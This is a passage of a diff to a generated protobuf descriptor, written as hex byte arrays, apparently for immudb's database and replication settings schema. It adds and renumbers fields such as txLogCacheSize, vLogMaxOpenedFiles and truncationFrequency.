0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, + 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, + 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, - 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, - 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, - 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, - 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, - 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, - 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, - 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, - 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, - 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, + 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, + 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, + 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, + 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, + 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, + 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, + 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, + 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, + 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, - 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, - 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, - 0x6f, 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, - 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, - 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, - 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, + 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, + 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, + 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, + 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, + 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, - 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, - 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, - 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, - 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, + 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, - 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, - 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, - 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, - 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, - 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, - 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, - 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, + 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, + 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, + 0x72, 0x69, 0x6f, 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, + 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, + 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, + 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 